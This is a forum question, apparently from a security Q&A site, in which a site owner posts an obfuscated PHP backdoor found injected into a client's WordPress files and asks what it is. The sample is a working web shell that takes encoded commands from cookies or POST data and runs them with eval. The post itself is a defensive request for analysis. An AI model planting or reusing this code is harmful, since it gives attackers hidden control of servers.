Random script injected in wordpress project

Question

Recently a website in wordpress that is on a server of my customer appears with the script below randomly. Someone knows this pattern of virus/malware/exploit or something like this?

<?php $GLOBALS['c851bc'] = "\x54\x50\x56\x6a\x77\x3a\x5e\x6e\x2c\x43\x2f\x3c\x61\x59\x25\x28\x4e\x5b\x38\x5f\x53\x6b\x41\x2a\x5d\x62\x4d\x75\x51\x68\x60\x5c\x31\x30\x44\x7a\x21\x78\x29\x5a\x3d\x47\x42\x36\x2e\x49\x34\x6d\x79\x69\x7b\x4f\x76\x7d\x20\x32\x57\x46\x2d\xd\x73\x4c\x74\x33\x27\x23\x39\x7e\x58\x35\x26\x3e\x55\x45\x67\x72\xa\x2b\x52\x24\x71\x37\x70\x40\x64\x63\x3f\x4b\x22\x66\x65\x7c\x3b\x4a\x6f\x48\x9\x6c";

$GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][43]] = $GLOBALS['c851bc'][85].$GLOBALS['c851bc'][29].$GLOBALS['c851bc'][75];
$GLOBALS[$GLOBALS['c851bc'][4].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][63]] = $GLOBALS['c851bc'][94].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][84];
$GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][66]] = $GLOBALS['c851bc'][60].$GLOBALS['c851bc'][62].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][97].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][7];
$GLOBALS[$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][25]] = $GLOBALS['c851bc'][49].$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][60].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][62];
$GLOBALS[$GLOBALS['c851bc'][27].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][46]] = $GLOBALS['c851bc'][60].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][97].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][35].$GLOBALS['c851bc'][90];
$GLOBALS[$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][84]] = $GLOBALS['c851bc'][82].$GLOBALS['c851bc'][29].$GLOBALS['c851bc'][82].$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][60].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][7];
$GLOBALS[$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][12]] = $GLOBALS['c851bc'][27].$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][60].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][97].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][35].$GLOBALS['c851bc'][90];
$GLOBALS[$GLOBALS['c851bc'][74].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][85]] = $GLOBALS['c851bc'][25].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][60].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90];
$GLOBALS[$GLOBALS['c851bc'][80].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][84]] = $GLOBALS['c851bc'][60].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][62].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][62].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][47].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][97].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][47].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][62];
$GLOBALS[$GLOBALS['c851bc'][29].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][32]] = $GLOBALS['c851bc'][29].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][46];
$GLOBALS[$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63]] = $GLOBALS['c851bc'][3].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][85];
$GLOBALS[$GLOBALS['c851bc'][21].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][32]] = $_POST;
$GLOBALS[$GLOBALS['c851bc'][3].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][25]] = $_COOKIE;
@$GLOBALS[$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][25]]($GLOBALS['c851bc'][90].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][97].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][74], NULL);
@$GLOBALS[$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][25]]($GLOBALS['c851bc'][97].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][74].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][75].$GLOBALS['c851bc'][60], 0);
@$GLOBALS[$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][25]]($GLOBALS['c851bc'][47].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][37].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][37].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][27].$GLOBALS['c851bc'][62].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][94].$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][19].$GLOBALS['c851bc'][62].$GLOBALS['c851bc'][49].$GLOBALS['c851bc'][47].$GLOBALS['c851bc'][90], 0);
@$GLOBALS[$GLOBALS['c851bc'][80].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][84]](0);

$y8b51 = NULL;
$l5bcd7 = NULL;

$GLOBALS[$GLOBALS['c851bc'][29].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][25]] = $GLOBALS['c851bc'][55].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][32].$GLOBALS['c851bc'][58].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][32].$GLOBALS['c851bc'][32].$GLOBALS['c851bc'][58].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][58].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][58].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][85];
global $h6393db;

function jb0ac($y8b51, $g0c13e)
{
    $j25b84da = "";

    for ($e143=0; $e143<$GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][66]]($y8b51);)
    {
        for ($l6c2=0; $l6c2<$GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][66]]($g0c13e) && $e143<$GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][66]]($y8b51); $l6c2++, $e143++)
        {
            $j25b84da .= $GLOBALS[$GLOBALS['c851bc'][52].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][43]]($GLOBALS[$GLOBALS['c851bc'][4].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][63]]($y8b51[$e143]) ^ $GLOBALS[$GLOBALS['c851bc'][4].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][43].$GLOBALS['c851bc'][63]]($g0c13e[$l6c2]));
        }
    }

    return $j25b84da;
}

function h624($y8b51, $g0c13e)
{
    global $h6393db;

    return $GLOBALS[$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63]]($GLOBALS[$GLOBALS['c851bc'][7].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63]]($y8b51, $h6393db), $g0c13e);
}

foreach ($GLOBALS[$GLOBALS['c851bc'][3].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][25]] as $g0c13e=>$k0c0)
{
    $y8b51 = $k0c0;
    $l5bcd7 = $g0c13e;
}

if (!$y8b51)
{
    foreach ($GLOBALS[$GLOBALS['c851bc'][21].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][32]] as $g0c13e=>$k0c0)
    {
        $y8b51 = $k0c0;
        $l5bcd7 = $g0c13e;
    }
}

$y8b51 = @$GLOBALS[$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][25].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][12]]($GLOBALS[$GLOBALS['c851bc'][29].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][66].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][32]]($GLOBALS[$GLOBALS['c851bc'][74].$GLOBALS['c851bc'][84].$GLOBALS['c851bc'][89].$GLOBALS['c851bc'][81].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][46].$GLOBALS['c851bc'][55].$GLOBALS['c851bc'][85]]($y8b51), $l5bcd7));
if (isset($y8b51[$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][21]]) && $h6393db==$y8b51[$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][21]])
{
    if ($y8b51[$GLOBALS['c851bc'][12]] == $GLOBALS['c851bc'][49])
    {
        $e143 = Array(
            $GLOBALS['c851bc'][82].$GLOBALS['c851bc'][52] => @$GLOBALS[$GLOBALS['c851bc'][85].$GLOBALS['c851bc'][63].$GLOBALS['c851bc'][12].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][84]](),
            $GLOBALS['c851bc'][60].$GLOBALS['c851bc'][52] => $GLOBALS['c851bc'][32].$GLOBALS['c851bc'][44].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][58].$GLOBALS['c851bc'][32],
        );
        echo @$GLOBALS[$GLOBALS['c851bc'][27].$GLOBALS['c851bc'][90].$GLOBALS['c851bc'][18].$GLOBALS['c851bc'][33].$GLOBALS['c851bc'][69].$GLOBALS['c851bc'][46]]($e143);
    }
    elseif ($y8b51[$GLOBALS['c851bc'][12]] == $GLOBALS['c851bc'][90])
    {
        eval($y8b51[$GLOBALS['c851bc'][84]]);
    }
    exit();

Informations:

uname -a
Linux 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

PHP 5.4.37
Wordpress in last stable version

Apparently is script injection. But in random files and always in different folders. There is no pattern in the strings name. All injections is with different strings names.

Can you clarify the problem a bit more? like timestamps, what kind of server it is on (version) etc. — Lighty, Oct 23 '15 at 20:29
Ok, I'll insert a list for informations at the end of the post. Thank you. — Rafael Soufraz, Oct 23 '15 at 20:31
Ok. Thanks for the links. But, where can I find which kind of cryptography is the first string of this code? I want to study this code. This interesting to me. Is there some online resource to check kind of string? And tell me which kind of codification/cryptography is that string? I'll be grateful. Thanks again. — Rafael Soufraz, Oct 24 '15 at 07:55
Simpler than it seems. The shellcode generates a random string and then it mounts several php commands through that string. Still in reverse. Once I have more information I'll publish. — Rafael Soufraz, Oct 24 '15 at 09:33
This forum really isn't the best place for this. As of now, we are still trying to find a good SE site for people to post shellcode/malware code for analysis. — schroeder, Oct 24 '15 at 17:28

Random script injected in wordpress project

0 Answers0